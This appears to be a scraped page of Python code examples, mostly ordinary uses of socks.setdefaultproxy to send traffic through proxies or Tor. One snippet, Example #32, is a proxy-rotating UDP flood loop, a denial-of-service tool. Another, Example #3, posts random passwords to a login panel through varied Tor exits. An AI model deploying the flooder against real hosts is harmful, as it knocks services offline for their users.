Example #1
0
def fetchGFWList(config):
    import socks
    import socket
    import urllib2

    proxy_type = config["gfwProxyType"]
    proxy_host = config["gfwProxyHost"]
    proxy_port = config["gfwProxyPort"]
    proxy_user = config["gfwProxyUsr"]
    proxy_pwd = config["gfwProxyPwd"]

    if proxy_type == socks.PROXY_TYPE_SOCKS4 or proxy_type == socks.PROXY_TYPE_SOCKS5:
        socks.setdefaultproxy(proxy_type, proxy_host, proxy_port, True, proxy_user, proxy_pwd)
        socket.socket = socks.socksocket
    elif proxy_type == socks.PROXY_TYPE_HTTP:
        http_proxy = "{}:{}".format(proxy_host, proxy_port)
        if proxy_user or proxy_pwd:
            http_proxy = "{}:{}@{}".format(proxy_user, proxy_pwd, http_proxy)

        proxy_handler = urllib2.ProxyHandler({"http": http_proxy})
        opener = urllib2.build_opener(proxy_handler)
        urllib2.install_opener(opener)

    if config["debug"]:
        httpHandler = urllib2.HTTPHandler(debuglevel=1)
        httpsHandler = urllib2.HTTPSHandler(debuglevel=1)
        opener = urllib2.build_opener(httpHandler, httpsHandler)
        urllib2.install_opener(opener)

    response = urllib2.urlopen(config["gfwUrl"])
    gfwlistModified = response.info().getheader("last-modified")
    gfwlistContent = response.read()

    return gfwlistContent, gfwlistModified
Example #2
0
def youtube_search(options):
    socks.setdefaultproxy(socks.PROXY_TYPE_HTTP, PROXY_HOST, PROXY_PORT)
    socket.socket = socks.socksocket

    youtube = build(YOUTUBE_API_SERVICE_NAME, YOUTUBE_API_VERSION,
                    developerKey=DEVELOPER_KEY)
    # Call the search.list method to retrieve results matching the specified
    # query term.
    search_response = youtube.search().list(
        q=options['q'],
        part='id,snippet',
        maxResults=options['max_results']
        ).execute()

    videos = []
    channels = []
    playlists = []

    # Add each result to the appropriate list, and then display the lists of
    # matching videos, channels, and playlists.
    for search_result in search_response.get('items', []):
        # print search_result
        if search_result['id']['kind'] == 'youtube#video':
          videos.append('%s (%s)' % (search_result['snippet']['title'],
                                     search_result['id']['videoId']))
        elif search_result['id']['kind'] == 'youtube#channel':
          channels.append('%s (%s)' % (search_result['snippet']['title'],
                                       search_result['id']['channelId']))
        elif search_result['id']['kind'] == 'youtube#playlist':
          playlists.append('%s (%s)' % (search_result['snippet']['title'],
                                        search_result['id']['playlistId']))

    print('Videos:\n', '\n'.join(videos), '\n')
    print('Channels:\n', '\n'.join(channels), '\n')
    print('Playlists:\n', '\n'.join(playlists), '\n')
Example #3
0
    def run(self):                    
        config = queue.get()
        config["DataDirectory"] = tempfile.gettempdir() + os.pathsep + str(self.port)
        config["SocksPort"] = str(self.port)
        
        print("Testing " + config["ExitNodes"] + " on port " + str(self.port))

        try:
            tor_process = stem.process.launch_tor_with_config(config)
                      
            password = randomPass()
                            
            data = {
                "user": "******",
                "password": password
            }
            
            socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", self.port)
            socket.socket = socks.socksocket

            socket.getaddrinfo = getaddrinfo
            socket.setdefaulttimeout(10)
                
            print("Content: " + requests.get(PANEL_URL, data=data, timeout=5).content.decode())
                                                
            tor_process.kill()
        except Exception as e: 
            print(str(e))
                
        file.close()
Example #4
0
def tunnel(port_src, port_dst):
    # sock = socks.socksocket()
    socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, SOCKS_HOST, SOCKS_PORT, False)
    # sock.connect((SSH_SERVER_HOST, 22))
    paramiko.client.socket.socket = socks.socksocket
    client = paramiko.SSHClient()
    # client.load_system_host_keys()
    client.set_missing_host_key_policy(paramiko.WarningPolicy())
    # client.connect(hostname=SSH_SERVER_HOST, port=SSH_SERVER_PORT, username=USERNAME, password=PASSWORD)

    # t = paramiko.Transport(sock)

    verbose('Connecting to ssh host %s:%d ...' % (SSH_SERVER_HOST, SSH_SERVER_PORT))
    try:
        # t.connect(None, username='******', password='******')
        client.connect(hostname=SSH_SERVER_HOST, port=SSH_SERVER_PORT, username=USERNAME, password=PASSWORD)
        transport = client.get_transport()
        forward_tunnel(port_src, SSH_SERVER_HOST, port_dst, transport)
    except Exception as e:
        print('*** Failed to connect to %s:%d: %r' % (SSH_SERVER_HOST, SSH_SERVER_PORT, e))
        sys.exit(1)

    verbose('Now forwarding port %d to %s:%d ...' % (port_src, SSH_SERVER_HOST, port_dst))

    try:
        while True:
            time.sleep(1)
    except KeyboardInterrupt:
        print('C-c: Port forwarding stopped.')
        sys.exit(0)
Example #5
0
	def request(self,url, method = 'GET', tor = False, referer = False):
		req = urllib2.Request(url)
		if tor:
			socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9050)
			socket.socket = socks.socksocket
				
		#req.add_header('Referer','http://www.google.co.uk')
		if referer:
			req.add_header('Referer', referer)
		req.add_header('Accept-encoding', 'gzip')
		req.add_header('User-Agent','Mozilla/4.0 (compatible;MSIE 7.0;Windows NT 6.0)')#IE7, Windows Vista

		try:
			response = urllib2.urlopen(req)
			if response.info().get('Content-Encoding') == 'gzip':
			    buf = StringIO( response.read())
			    f = gzip.GzipFile(fileobj=buf)
			    return f.read()			
			return response.read()
		except urllib2.URLError as e:
			print "Exception!" + str(e.reason)
			if hasattr(e, 'code'):
				self.logger.debug("Code returned: %s\n" % str(e.code))	
			print("About to sleep and then try the request again.")
			time.sleep(random.randint(1,5))
			self.request(url,method,tor,referer)
Example #6
0
def maxtest(SOCKS_PORT):

    socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, '127.0.0.1', SOCKS_PORT)
    socket.socket = socks.socksocket

    print term.format("Starting Tor:\n", term.Attr.BOLD)
    """
    tor_process = stem.process.launch_tor_with_config(
        config = {
            'SocksPort': str(SOCKS_PORT),
            'ExitNodes': '{ru}',
        },
        init_msg_handler = print_bootstrap_lines,
    )
    """
    tor_process = stem.process.launch_tor_with_config(
        config = {
            'SocksPort': str(SOCKS_PORT),
        },
        init_msg_handler = print_bootstrap_lines,
    )

    print term.format("\nChecking our endpoint:\n", term.Attr.BOLD)
    print term.format(query("https://www.atagar.com/echo.php"), term.Color.BLUE)



    tor_process.kill()    # stops tor
def search_lyrics(query):
    
    # Set proxy
    socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9050)
    socket.socket = socks.socksocket
    
    br = mechanize.Browser()
    # Cookie Jar
    cj = cookielib.LWPCookieJar()
    br.set_cookiejar(cj)

    # Browser options
    br.set_handle_equiv(True)
    br.set_handle_gzip(False)
    br.set_handle_redirect(True)
    br.set_handle_referer(True)
    br.set_handle_robots(False)

    # Follows refresh 0 but not hangs on refresh > 0
    br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(),max_time=1)

    # Want debugging messages?
    br.set_debug_http(False)
    br.set_debug_redirects(False)
    br.set_debug_responses(False)

    br.addheaders = [('User-agent', 'Mozilla/4.0 (compatible; MSIE 7.0b;Windows NT 5.1)')]
    br.clear_history()

#   sit to get to is http://www.songlyrics.com/
    url_prexif = "http://"
    Site_Name = 'www.songlyrics.com/'

    full_url = url_prexif + Site_Name

    try:    
        br.open(full_url)
    except IOError: 
        print 'Failure to open site' #Handle failure 
        sys.exit(0)
    
    br.select_form(name='searchForm')
    br['searchW'] = query

# submit it 
    br.submit()
# get full list of possible urls    
    responce = BeautifulSoup(br.response().read())
           
    lyrics = []    
    for block in responce.findAll('div',{'class':'serpresult'}):
        link = block.find('a',href=True)
        page = BeautifulSoup(urllib2.urlopen(link['href']))
        pre_processed_page = (str(page.find('p',{'class':'songLyricsV14'})))
        processed_page = clean_page_songlyrics(pre_processed_page)
        lyrics.append(processed_page)
    if(lyrics == None):
        lyrics = 'Lyrics not found'
        
    return lyrics
Example #8
0
def fetchGFWList(config):
    import socks, socket, urllib2

    gfwProxyType = config["gfwProxyType"]
    if (
        (gfwProxyType == socks.PROXY_TYPE_SOCKS4)
        or (gfwProxyType == socks.PROXY_TYPE_SOCKS5)
        or (gfwProxyType == socks.PROXY_TYPE_HTTP)
    ):
        socks.setdefaultproxy(
            gfwProxyType,
            config["gfwProxyHost"],
            config["gfwProxyPort"],
            True,
            config["gfwProxyUsr"],
            config["gfwProxyPwd"],
        )
        socket.socket = socks.socksocket

    if config["debug"]:
        httpHandler = urllib2.HTTPHandler(debuglevel=1)
        httpsHandler = urllib2.HTTPSHandler(debuglevel=1)
        opener = urllib2.build_opener(httpHandler, httpsHandler)
        urllib2.install_opener(opener)

    response = urllib2.urlopen(config["gfwUrl"])
    gfwlistModified = response.info().getheader("last-modified")
    gfwlistContent = response.read()

    return gfwlistContent, gfwlistModified
Example #9
0
def loadSocketModule(loadModule = None, module = None):
	proxyLoad = False
	reload(socket)
	setattr(socket, '__reloaded__', False)
	if ( loadModule is None and USE_PROXY == 'True' ) or loadModule :
		## http://sourceforge.net/projects/socksipy/
		## or install the Fedora liked python-SocksiPy package
		try :
			import socks
			proxyLoad = True
		except : pass
		finally :
			if proxyLoad :
				# for old SocksiPy versions
				if hasattr(socks, '_socket') :
					socks._socket.setdefaulttimeout(TIMEOUT)
				"""setdefaultproxy(proxytype, addr[, port[, rdns[, username[, password]]]])"""
				proxytype, addr, port, rdns, username, password = readProxySettings(socks)
				#print proxytype, addr, port, rdns, username, password
				socks.setdefaultproxy(proxytype, addr, port, rdns, username, password)
				socket.socket = socks.socksocket
				setattr(socket, '__reloaded__', True)
	if type(module) == ModuleType :
		reload(module)
		setattr(module, '__reloaded__', getattr(socket, '__reloaded__'))
	# for checking proxy availability or external IP uncomment below
	#ip = getExternalIP()
	#print "External IP: %s ; Reloaded: %s" % (ip, getattr(socket, '__reloaded__'))

	return proxyLoad
Example #10
0
def send_to_peers():
    while True:
        error = 0
        peers_conf = ConfigParser.ConfigParser()
        peers_conf.read('conf/peers.ini')
        for i in range(len(peers_conf.sections())):
            if peers_conf.getboolean(peers_conf.sections()[i], 'Tor'):
                socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9050, True)
            else:
                socks.setdefaultproxy()
            socket.socket = socks.socksocket
            s = socket.socket()
            try:
                s.connect((peers_conf.get(peers_conf.sections()[i], 'host'), peers_conf.getint(peers_conf.sections()[i], 'port')))
                hostlist = open("conf/host.txt", "r")
                for ligne in hostlist:
                    s.send(ligne)
                hostlist.close()
                s.close()
            except:
                s.close()
                print "\0034connexion impossible"
                error = error +1
            i=i+1
        if error == len(peers_conf.sections()): 
            print "Error aucun pair disponible"
        error = 0
        time.sleep(3600)
Example #11
0
    def set_proxy(self, proxy_addr):
        '''
		set the socks5 proxy
		'''
        self.proxy_addr = proxy_addr
        socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, proxy_addr.split(':')[0], int(proxy_addr.split(':')[1]))
        socket.socket = socks.socksocket
Example #12
0
	def setTor(self, port):
		self.tor = True
		int_port = int(port)
		socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, '127.0.0.1', int_port)
		socket.socket = socks.socksocket
		self.port = port
		self.restartTor()
Example #13
0
    def handle_proxy(self):
        if self.proxy_enabled:
            import socks

            proxy_type = getattr(socks, "PROXY_TYPE_" + self.proxy_type)
            socks.setdefaultproxy(proxy_type, self.proxy_host, self.proxy_port)
            socket.socket = socks.socksocket
def dnsCheck(path):
    """
    DNS Poisoning Check
    """
    try:
        socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9050)
        socket.socket = socks.socket

        print('[+] Checking DNS ')
        for domain in domains:
            ipv4 = socket.gethostbyname(domain)
            for p_d in check_domain_poison_results:
                if str(p_d.domain) == str(domain):
                    found = False
                    for d_ip in p_d.address:
                        if str(ipv4) == str(d_ip):
                            found = True
                            break
                    if found == False:
                        print('[+] ALERT:DNS SPOOFING FOUND: name: %s ip: %s  (path: %s )' % (domain, ipv4, path) )
                    else:
                        print('[+] Check DNS (%s) seems to be OK' % domain)
    except Exception as err:
        print('[-] Error: %s' % err)
        traceback.print_exc()

    socket.close()
    return time.time()
def certsCheck(path):
    """
    SSL Strip detection
    TODO: It's still a weak control. Need to collect and to compare public_key()
    """
    print('[+] Checking Certificates')
    try:
        socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9050)
        socket.socket = socks.socket

        for url in ssl_strip_monitored_urls:
            cert = ssl.get_server_certificate((str(url), 443))
            x509 = OpenSSL.crypto.load_certificate(OpenSSL.crypto.FILETYPE_PEM, cert)
            p_k  = x509.get_pubkey()
            s_n  = x509.get_serial_number()
            for stored_cert in check_ssl_strip_results:
                if str(url) == str(stored_cert.domain):
                    if str(stored_cert.serial_number) != str(s_n):
                        print('[+] ALERT Found SSL Strip on uri (%s) through path %s ' % (url, path))
                        break
                    else:
                        print('[+] Certificate Check seems to be OK for %s' % url)

    except Exception as err:
        print('[-] Error: %s' % err)
        traceback.print_exc()

    socket.close()
    return time.time()
Example #16
0
	def set(self, type=socks.PROXY_TYPE_SOCKS5, host='127.0.0.1', port='9050'):
		"""
		configure and active current proxy. change arguments as needed
		"""
		socks.setdefaultproxy(type, host, port)
		self.socket = socks.socksocket
		self.running = True
	def __init__(self):
		super(query_catastro, self).__init__()
	
		self.ROOT_URL="http://ciudadmx.df.gob.mx:8080/seduvi"
		self.MOUSE_CLICK_X=350
		self.MOUSE_CLICK_Y=400
		self.MAP_WIDTH=700
		self.MAP_HEIGHT=800

		# Tor IP.
		socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS4, '127.0.0.1', 9050, True)
		socket.socket = socks.socksocket
		proxy_support = urllib2.ProxyHandler({"http" : "127.0.0.1:8118"})
		opener = urllib2.build_opener(proxy_support) 

		#self.conn = TorCtl.connect(controlAddr="127.0.0.1", controlPort=9051)
		#self.proxy_support = urllib2.ProxyHandler({"http" : "127.0.0.1:8118"})
		#self.conn.send_signal("NEWNYM")
		#opener = urllib2.build_opener(self.proxy_support) 
		#urllib2.install_opener(opener)
		#print "Changing ip address to"  + str((urllib2.urlopen("http://www.ifconfig.me/ip").read()))

		r = requests.get(self.ROOT_URL)
		if r.status_code == 200:
			self.SESSION_COOKIE = r.cookies.items()[0][1]
Example #18
0
def main():
    socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 7070)
    socket.socket = socks.socksocket

    actress_down()

    collection_down()
Example #19
0
 def install_proxy(self, proxy): 
     if len(proxy) is not 2:
         raise HTTPError("Invalid proxy.")
         return
         
     if proxy[0] == "SOCK":
         import socket
         
         try:
             import socks
         except ImportError:
             raise HTTPError("SocksiPy not installed, http://socksipy.sourceforge.net/")
             return
         
         try:        
             ip, port = proxy[1].split(":")
         except ValueError as errno:
             raise HTTPError("{0} Invalid proxy(IP:PORT)".format(errno))
     
         socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, ip, int(port))
         socket.socket = socks.socksocket
         
         self.opener = urllib2.build_opener(urllib2.HTTPCookieProcessor())
         
     else:          
         http_proxy= {"http":"http://{0}/".format(proxy[1])}
         proxy_support = urllib2.ProxyHandler(http_proxy)
         self.opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(), proxy_support)
    def GetFileHosts(self, url, list, lock, message_queue):
        from entertainment.net import Net

        net = Net(do_not_cache_if_any=do_no_cache_keywords_list)

        custom_url = self.get_url()

        if self.Settings().get_setting("proxy") == "true":
            import socks

            (proxy, port) = self.get_proxy()
            socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, proxy, port)
            net.set_socket_class(socks.socksocket)

        content = common.unescape(common.str_conv(net.http_GET(url).content))

        import re

        for sq in re.finditer(r"<span class=quality_(.+?)>.+?<a href=\".+?external.+?url=(.+?)&", content):

            quality = sq.group(1).upper()

            if quality == "UNKNOWN":
                continue

            import base64

            host_url = base64.b64decode(sq.group(2))
            if not "affbuzz" in host_url.lower():
                self.AddFileHost(list, quality, host_url)
Example #21
0
def new_identity(port, port_ctl, pwd=None, host="127.0.0.1"):
    """
        This is version/OS/configuration dependent.
        On windows the ports are 9150 and 9151, cookie auth. enabled by
        default and cookie token in control_auth_cookie.

        TOR must be started and the control_auth_cookie file must be 
        copied over with each restart! Setting no password was not working properly.

        The code snippet (taken from stackoverflow) has some issues with specific 
        cookies. In this case, restart Tor to generate new cookie.

        tor.new_identity(9150, 9151, open("control_auth_cookie", mode="r").read())

    """
    socks.setdefaultproxy()
    tor_c = socket.create_connection((host, port_ctl))
    if pwd is not None:
        s = 'AUTHENTICATE "{}"\r\nSIGNAL NEWNYM\r\n'.format(pwd)
        tor_c.send(s)
    else:
        tor_c.send('SIGNAL NEWNYM\r\n'.format(pwd))
    response = tor_c.recv(1024)
    if response != '250 OK\r\n250 OK\r\n':
        print 'Unexpected response from Tor control port: {}\n'.format(response)
        raise TorAuthException()
    socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, host, port)
    old_socket = socket.socket
    socket.socket = socks.socksocket
    return old_socket
Example #22
0
def start():

    for d in gConfig["REMOTE_DNS_LIST"]:
        heapq.heappush(dnsHeap, (1,d))
 
    try:
        response = DNS.Request().req(name="jjproxy.liruqi.info", qtype="A", protocol="udp", port=gConfig["DNS_PORT"], server=gConfig["REMOTE_DNS_LIST"][0])
        for a in response.answers:
            if a['typename'] == 'A':
                ip = a["data"]
                gConfig["HTTP_PROXY"] = ip
                gConfig["HTTP_PROXY_PORT"] = 25
                socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, ip, 21)

    except:
        print "HTTP_PROXY resolve failed, exit."
        exit(1)

    print "Set your browser's HTTP/HTTPS proxy to 127.0.0.1:%d"%(gOptions.port)
    print "You can configure your proxy var http://127.0.0.1:%d"%(gOptions.port)
    if gConfig['CONFIG_ON_STARTUP']:
        try: 
            import webbrowser
            webbrowser.open("http://127.0.0.1:%d"%gOptions.port)
        except:
            pass

    server = ThreadingHTTPServer(("0.0.0.0", gOptions.port), ProxyHandler)
    try: server.serve_forever()
    except KeyboardInterrupt: exit()
Example #23
0
 def __init__(self, server, config = None):
     threading.Thread.__init__(self)
     self.daemon = True
     self.config = config if config is not None else SimpleConfig()
     self.lock = threading.Lock()
     self.is_connected = False
     self.debug = False # dump network messages. can be changed at runtime using the console
     self.message_id = 0
     self.unanswered_requests = {}
     # are we waiting for a pong?
     self.is_ping = False
     # parse server
     self.server = server
     self.host, self.port, self.protocol = self.server.split(':')
     self.port = int(self.port)
     self.use_ssl = (self.protocol == 's')
     self.proxy = self.parse_proxy_options(self.config.get('proxy'))
     if self.proxy:
         self.proxy_mode = proxy_modes.index(self.proxy["mode"]) + 1
         socks.setdefaultproxy(self.proxy_mode, self.proxy["host"], int(self.proxy["port"]))
         socket.socket = socks.socksocket
         # prevent dns leaks, see http://stackoverflow.com/questions/13184205/dns-over-proxy
         def getaddrinfo(*args):
             return [(socket.AF_INET, socket.SOCK_STREAM, 6, '', (args[0], args[1]))]
         socket.getaddrinfo = getaddrinfo
Example #24
0
    def request_and_save_img(u, p, ua, a, pause, time_out):
        start = time.time()
        opener = urllib2.build_opener()
        opener.addheaders = [('User-Agent', ua)]
        i = 0
        the_proof = True
        while i < int(a) and the_proof:
            try:
                response = opener.open(u, timeout=float(time_out))
                the_proof = False
            except urllib2.HTTPError as error:
                the_proof = True
                logging.debug('- Error at attempt number: {0} with image url: {1} -'.format(str(error.code), str(u)))
                i += 1
                time.sleep(float(pause))
        if the_proof:
            stop = time.time() - start
            message = 'Error after {0} seconds, while timeout was: {1} -\n'.format(str(stop), str(time_out))
            message += 'Error after {0} attempts, while saving image: {1} -'.format(str(a), str(u))
            logging.debug(message)
            socks.setdefaultproxy()
            EmailNotifiers.debug_error_Call(message)
            exit(1)
        html_data = response.read()

        try:
            f = open(p, 'w')
            f.write(html_data)
            f.close()
        except IOError:
            logging.info('- ERROR in request_and_save with file {0} -'.format(str(p)))
Example #25
0
def download(url, tor=False):
    def create_connection(address, timeout=None, source_address=None):
        sock = socks.socksocket()
        sock.connect(address)
        return sock

    if tor:
        if not HAVE_SOCKS:
            print_error("Missing dependency, install socks (`pip install SocksiPy`)")
            return None

        socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, '127.0.0.1', 9050)
        socket.socket = socks.socksocket
        socket.create_connection = create_connection

    try:
        req = Request(url)
        req.add_header('User-agent', 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
        res = urlopen(req)

        data = res.read()
    except HTTPError as e:
        print_error(e)
    except URLError as e:
        if tor and e.reason.errno == 111:
            print_error("Connection refused, maybe Tor is not running?")
        else:
            print_error(e)
    except Exception as e:
        print_error("Failed download: {0}".format(e))
    else:
        return data
Example #26
0
def simulateIMAPsession(username, password, imapHost, imapDomainName):
    try:
        # Tunnel through socksipy to Tor, wrapping imaplib through it
        socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, '127.0.0.1', SOCKS_PORT)
        socks.socket.setdefaulttimeout(30)
        socks.wrapmodule(imaplib)
        # So let's log in and let the fun begin
        mail = imaplib.IMAP4(imapHost, 143)
        mail.login(username+'@'+imapDomainName, password)
        print "namespace", mail.namespace()
        print "lsub", mail.lsub()
        print "list inbopx", mail.list("", "INBOX")
        selectanswer = mail.select("INBOX")
        print "select inbox",selectanswer
        responsecode, data = selectanswer
        lastmail = data[0]
        fetchflag = lastmail + ":*"
        print "fetch uid" , mail.fetch(fetchflag,"(FLAGS)")
        # Bye, IMAP server
        mail.logout()
        socket.socket = socks._orgsocket
    except Exception:
        raise
    finally:
        try:
            mail.logout()
            mail.shutdown()
        except Exception:
            pass
        finally:
            socket.socket = socks._orgsocket
Example #27
0
def global_override_SOCKS5_test():
    socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 1081)
    good = socket.socket
    socket.socket = socks.socksocket
    status = urllib2.urlopen("http://api.externalip.net/ip/").getcode()
    socket.socket = good
    assert status == 200
def download_file():
    socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, "192.168.1.166", 9050)
    socket.socket = socks.socksocket
    #u = urllib2.urlopen('http://releases.ubuntu.com/15.04/ubuntu-15.04-desktop-i386.iso')#.read()
    #u = urllib2.urlopen('https://www.google.com')#.read()
    u = urllib2.urlopen('https://raw.githubusercontent.com/mcoughli/xilinx_zedboard_c/master/test_blob')
    #file_name = 'ubuntu-15.04-desktop-i386.iso'
    file_name = 'test_blob'
    f = open(file_name, 'w')
    meta = u.info()
    file_size = int(meta.getheaders("Content-Length")[0])
    print "Downloading: %s Bytes: %s" % (file_name, file_size)
    
    downloaded = 0
    start_time = timeit.default_timer()
    while True:
        buffer = u.read(8192)
        if not buffer:
            break
        downloaded += len(buffer)
        f.write(buffer)
        status = r"%10d  [%3.2f%%]" % (downloaded, downloaded * 100. / file_size)
        status = status + chr(8)*(len(status)+1)
        print status,
    elapsed = timeit.default_timer() - start_time
    print 'Average KB/s: ' + str(downloaded/1024/elapsed)
    return downloaded, elapsed
Example #29
0
    def run(self):
        while True:
            config = self.queue.get()

            config['DataDirectory'] = '/tmp/tor_data_%s' % (config['SocksPort'])
            self.config = config

            self.log('connecting...')

            opened = False
            with Timeout(self.timeout, False):
                self.tor_process = stem.process.launch_tor_with_config(config=self.config, timeout=None)
                self.tor_process.stdout.close()
                opened = True

            if not opened:
                self.log('connection failed', Log.LOG_ERROR)
                return self.cleanup()

            self.log('connected!')

            socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, '127.0.0.1', int(self.config['SocksPort']))
            socket.socket = socks.socksocket

            socket.getaddrinfo = getaddrinfo
            socket.setdefaulttimeout(self.timeout)

            self.check()
            self.cleanup()
Example #30
0
    def initialize_socks(self, socks_uri):
        #Needs to be upgraded to accept proxy username y password    
        uri_parse = urlparse.urlparse(socks_uri)
        if not ( uri_parse.scheme and uri_parse.hostname and uri_parse.port):
            self.log.error("Cannot determine proxy server. Exiting...")
            sys.exit()

        protocol_types = {'socks5':socks.PROXY_TYPE_SOCKS5, 'socks4':socks.PROXY_TYPE_SOCKS4, 'http':socks.PROXY_TYPE_HTTP}

        self.real_ip = self.get_ip()
        if not self.real_ip:
            self.log.error("Cannot get real ip, exiting...")
            sys.exit()

        #Socket override by socks
        socks.setdefaultproxy(protocol_types[uri_parse.scheme.lower()], uri_parse.hostname, int(uri_parse.port), True, uri_parse.username, uri_parse.password)
        socket.socket = socks.socksocket
        #Remote DNS proxy fix
        def getaddrinfo(*args):
            return [(socket.AF_INET, socket.SOCK_STREAM, 6, '', (args[0], args[1]))]
        socket.getaddrinfo = getaddrinfo
        self.proxyfied_ip = self.get_ip()

        #Checking that the proxy works fine
        if not self.proxyfied_ip:
            self.log.error("Cannot get proxified ip, exiting...")
            sys.exit()
        if self.real_ip == self.proxyfied_ip:
            self.log.error("Real ip and proxified ip are the same, exiting...")
            sys.exit()
        self.log.info("Proxy configured successfully. Real IP '{}' - Proxy IP '{}'".format(self.real_ip,self.proxyfied_ip))
Example #31
0
 def set_proxy(self, proxy):
     self.proxy = proxy
     # Store these somewhere so we can un-monkey-patch
     if not hasattr(socket, "_socketobject"):
         socket._socketobject = socket.socket
         socket._getaddrinfo = socket.getaddrinfo
     if proxy:
         self.print_error('setting proxy', proxy)
         proxy_mode = proxy_modes.index(proxy["mode"]) + 1
         socks.setdefaultproxy(
             proxy_mode,
             proxy["host"],
             int(proxy["port"]),
             # socks.py seems to want either None or a non-empty string
             username=(proxy.get("user", "") or None),
             password=(proxy.get("password", "") or None))
         socket.socket = socks.socksocket
         # prevent dns leaks, see http://stackoverflow.com/questions/13184205/dns-over-proxy
         socket.getaddrinfo = lambda *args: [(
             socket.AF_INET, socket.SOCK_STREAM, 6, '', (args[0], args[1]))]
     else:
         socket.socket = socket._socketobject
         socket.getaddrinfo = socket._getaddrinfo
Example #32
0
	def run(self): 
		data = random._urandom(1024) 
		p = bytes(IP(dst=str(url2))/UDP(dport=int(port))/data) 
		current = x 
		if current < len(proxies): 
			proxy = proxies[current].strip().split(':')
		else: 
			proxy = random.choice(proxies).strip().split(":")
		go.wait() 
		while True:
			try:
				socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, str(proxy[0]), int(proxy[1]), True) 
				s = socks.socksocket() 
				s.connect((str(url2),int(port))) 
				s.send(p) 
				print ("Request sent from " + str(proxy[0]+":"+proxy[1]) + " @", self.counter) 
				try: 
					for y in range(multiple): 
						s.send(str.encode(p)) 
				except: 
					s.close()
			except: 
				s.close() 
				try:
					socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS4, str(proxy[0]), int(proxy[1]), True) 
					s = socks.socksocket() 
					s.connect((str(url2),int(port))) 
					s.send(p) 
					print ("Request sent from " + str(proxy[0]+":"+proxy[1]) + " @", self.counter) 
					try: 
						for y in range(multiple): 
							s.send(str.encode(p)) 
					except: 
						s.close()
				except: 
					print ("Sock down. Retrying request. @", self.counter)
					s.close() 
Example #33
0
 def set_proxy(self, proxy):
     self.proxy = proxy
     # Store these somewhere so we can un-monkey-patch
     if not hasattr(socket, "_socketobject"):
         socket._socketobject = socket.socket
         socket._getaddrinfo = socket.getaddrinfo
     if proxy:
         self.print_error('setting proxy', proxy)
         proxy_mode = proxy_modes.index(proxy["mode"]) + 1
         socks.setdefaultproxy(proxy_mode,
                               proxy["host"],
                               int(proxy["port"]),
                               # socks.py seems to want either None or a non-empty string
                               username=(proxy.get("user", "") or None),
                               password=(proxy.get("password", "") or None))
         socket.socket = socks.socksocket
         # prevent dns leaks, see http://stackoverflow.com/questions/13184205/dns-over-proxy
         socket.getaddrinfo = lambda *args: [(socket.AF_INET, socket.SOCK_STREAM, 6, '', (args[0], args[1]))]
     else:
         socket.socket = socket._socketobject
         if sys.platform == 'win32':
             # on Windows, socket.getaddrinfo takes a mutex, and might hold it for up to 10 seconds
             # when dns-resolving. to speed it up drastically, we resolve dns ourselves, outside that lock
             def fast_getaddrinfo(host, *args, **kwargs):
                 try:
                     if str(host) not in ('localhost', 'localhost.',):
                         answers = dns.resolver.query(host)
                         addr = str(answers[0])
                     else:
                         addr = host
                 except:
                     raise socket.gaierror(11001, 'getaddrinfo failed')
                 else:
                     return socket._getaddrinfo(addr, *args, **kwargs)
             socket.getaddrinfo = fast_getaddrinfo
         else:
             socket.getaddrinfo = socket._getaddrinfo
Example #34
0
    def connect(self, port):

        try:
            socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, '127.0.0.1', int(port))
            socket.socket = socks.socksocket

            socket.getaddrinfo = self.__getAddrInfo

            self.torPort = port

            # if (self.app.pargs.verbose):
            print(Fore.BLUE + Style.BRIGHT + "[+] Connecting to Tor on port " + self.torPort + Style.RESET_ALL)

            self.torProc = stem.process.launch_tor_with_config(
                config = {
                        'SocksPort': str(port),
                        'ExitNodes': '{ru}',
                    },
                init_msg_handler = self.__printBootstrapLines,
            )

            print term.format("\n" + Style.BRIGHT + "[!] Checking our endpoint:\n" + Style.RESET_ALL)

            ep = self.__query("https://www.atagar.com/echo.php")

            print term.format("[!] " + Fore.BLUE + ep + Style.RESET_ALL)

            print(Fore.GREEN + Style.BRIGHT + "Successfully connected to Tor. Lets rock! =D" + Style.RESET_ALL + "\n")

        except socket.error as se:
            print(Style.BRIGHT + Fore.RED + "[-] Socket Error: " + str(e) + Style.RESET_ALL)
            print traceback.format_exc()
        except Exception as e:
            print(Style.BRIGHT + Fore.RED + "[-] Error connecting to Tor: " + str(e) + Style.RESET_ALL)
            print traceback.format_exc()

        return True
Example #35
0
    def update_ip(self, recur=3):
        if not self.alive:
            self.exit()
        socks.socket.setdefaulttimeout(5)
        socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, '127.0.0.1', 9050, True)
        socket.socket = socks.socksocket

        try:
            ip = self.get_ip()
            if all([not ip, recur]):
                print('Error: Network unreachable')
                reset_counts = 2
                for _ in range(30):
                    if not self.alive:
                        return
                    ip = self.get_ip()
                    if ip:
                        break
                    else:
                        if reset_counts:
